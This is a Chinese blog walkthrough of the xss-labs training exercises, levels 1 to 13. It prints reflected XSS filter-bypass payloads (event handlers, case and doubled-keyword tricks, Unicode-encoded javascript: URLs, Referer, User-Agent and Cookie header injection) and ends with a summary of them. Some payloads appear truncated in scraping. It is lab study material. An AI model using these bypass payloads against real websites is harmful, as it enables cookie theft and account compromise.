xss-labs实操

文章目录

  • 1.Level
  • 2.Level2
  • 3.Level3
  • 4.Level4
  • 5.Level5
  • 6.Level6
  • 7.Level7
  • 8.Level8
  • 9.Level9
  • 10.Level10
  • 11.Level11
  • 12.Level12
  • 13.Level13
  • 14.xss绕过总结
    • 1)测试需观察点
    • 2)无过滤法
    • 3)">闭合
    • 4)单引号闭合+事件函数
    • 5)双引号闭合+事件函数
    • 6)引号闭合+链接
    • 7)大小写绕过
    • 8)多写绕过
    • 9)unicode编码
    • 10)unicode编码+//注释
    • 11)隐藏标签赋值
    • 12)referer注入
    • 13)UA头注入
    • 14)Cookie注入

1.Level

无过滤法

2.Level2

“>闭合
“>&submit=搜索
通过观察发现alert里的引号没了,是不是被过滤了呢
因为如果该语句类似如下
<“Str”>,也就是说script在引号里面,那么是执行不了的,需要闭合操作,因此前面加个”>扔给前面的雨具语句
xss-labs实操_第1张图片

3.Level3

单引号闭合+事件函数
xss-labs实操_第2张图片

回显正常,但是没有执行,是什么原因呢,看下面这个发现是在input里
xss-labs实操_第3张图片

而input可以执行如下的事件函数
主要事件表:
xss-labs实操_第4张图片

这些都是可供参考的模式
因此构造payload:’ οnclick= alert(“123”)
出现了红色的onclick,前面用双引号不出现
在这里插入图片描述

但是发现alert前面被加了双引号,然后后面又有一个单引号和双引号
因此应该补一个单引号,所以
payload:’ οnclick=’ alert(“123”);
xss-labs实操_第5张图片

4.Level4

双引号闭合+事件函数
输入
发现返回了
在这里插入图片描述在这里插入图片描述

看这里也是用到了input,那么还是用事件函数
payload:" οnclick=alert(‘123’);"
xss-labs实操_第6张图片xss-labs实操_第7张图片

5.Level5

引号闭合+链接
输入
发现变成
xss-labs实操_第8张图片

说明script被过滤
在这里插入图片描述

还是input,还得用事件函数
输入" οnclick= "alert(‘123’);
xss-labs实操_第9张图片

o和n被插入了_,也就是说需要做关键字绕过
因此只能再寻找方法:">xss
发现这个方式没有过滤

在这里插入图片描述xss-labs实操_第10张图片

6.Level6

大小写绕过
在这里插入图片描述

script还是被过滤,不能用
在这里插入图片描述

onclicke也被过滤,不能用
在这里插入图片描述

href也是,那咋办呢
大小写绕过:">xss
xss-labs实操_第11张图片

7.Level7

多写绕过
这一关会直接删除script,会删除on
绕过方法很简单,多写就行:" oonnclick=alert(‘123’);"
即中间多写一个on,两边再接起来就行
xss-labs实操_第12张图片

8.Level8

unicode编码
href 和script都被过滤,大小写也没用
在这里插入图片描述

最后只能使用unicode编码
https://c.runoob.com/front-end/3602/
在这里插入图片描述

javascrIpt:alert('xss')
xss-labs实操_第13张图片xss-labs实操_第14张图片

9.Level9

unicode编码+//注释
或unicode编码+/**/注释
输入http://www.baidu.com,没有报错
在这里插入图片描述

输入:javascript:alert(‘xss’)//http://www.baidu.com
在这里插入图片描述

Unicode编码一下javascript:alert(‘xss’)
//表示注释后面的内容
javascript:alert(‘xss’)//http://
在这里插入图片描述xss-labs实操_第15张图片

10.Level10

隐藏标签赋值
需为t_sort赋值,需把type赋值为空,不然不显示
t_sort=123" type=“” οnclick="alert(‘xss’)
在这里插入图片描述xss-labs实操_第16张图片

11.Level11

手动编辑赋值
在这里插入图片描述

这一关也存在隐藏标签
t_link=123" type=“” οnclick=“alert(‘xss’)
t_history=123” type=“” οnclick=“alert(‘xss’)
t_sort=123” type=“” οnclick=“alert(‘xss’)
t_ref=123” type=“” οnclick="alert(‘xss’)
逐个试完还是只有t_sort有变化,但type被写死了
xss-labs实操_第17张图片

既然语句写不进去,那么手动编辑就好了,强制给type赋值

在这里插入图片描述xss-labs实操_第18张图片

referer注入
方法二是使用bp抓包通过修改入口referer链接实现
xss-labs实操_第19张图片xss-labs实操_第20张图片xss-labs实操_第21张图片

12.Level12

和上一关一模一样的做法
在这里插入图片描述xss-labs实操_第22张图片

12关方法二
UA头注入
xss-labs实操_第23张图片xss-labs实操_第24张图片

13.Level13

Cookie注入
xss-labs实操_第25张图片xss-labs实操_第26张图片
xss-labs实操_第27张图片

14关程序有误,链接点不进去,好像是个上传页面,要上传一个有exif漏洞的图片,算了,知道咋回事就行

14.xss绕过总结

1)测试需观察点

浏览器左下角查看器,查找注入点所在代码
burp响应包referer/UA/cookie三处位置看是否在提交包中有对应信息

2)无过滤法

3)">闭合

">

4)单引号闭合+事件函数

’ οnclick=’ alert(“123”);

5)双引号闭合+事件函数

" οnclick=alert(‘123’);"

6)引号闭合+链接

">xss

7)大小写绕过

">xss

8)多写绕过

" oonnclick=alert(‘123’);"

9)unicode编码

javascript:alert(‘xss’)
javascrIpt:alert(‘xss’)

10)unicode编码+//注释

javascript:alert(‘xss’)//http://www.baidu.com
javascript:alert(‘xss’)//http://

11)隐藏标签赋值

t_sort=123" type=“” οnclick="alert(‘xss’)

12)referer注入

“ type=”” οnclick=”alert(document.cookie)

13)UA头注入

“ type=”” οnclick=”alert(document.cookie)

14)Cookie注入

“ οnclick="alert(‘xss’) type=”

你可能感兴趣的:(xss,前端)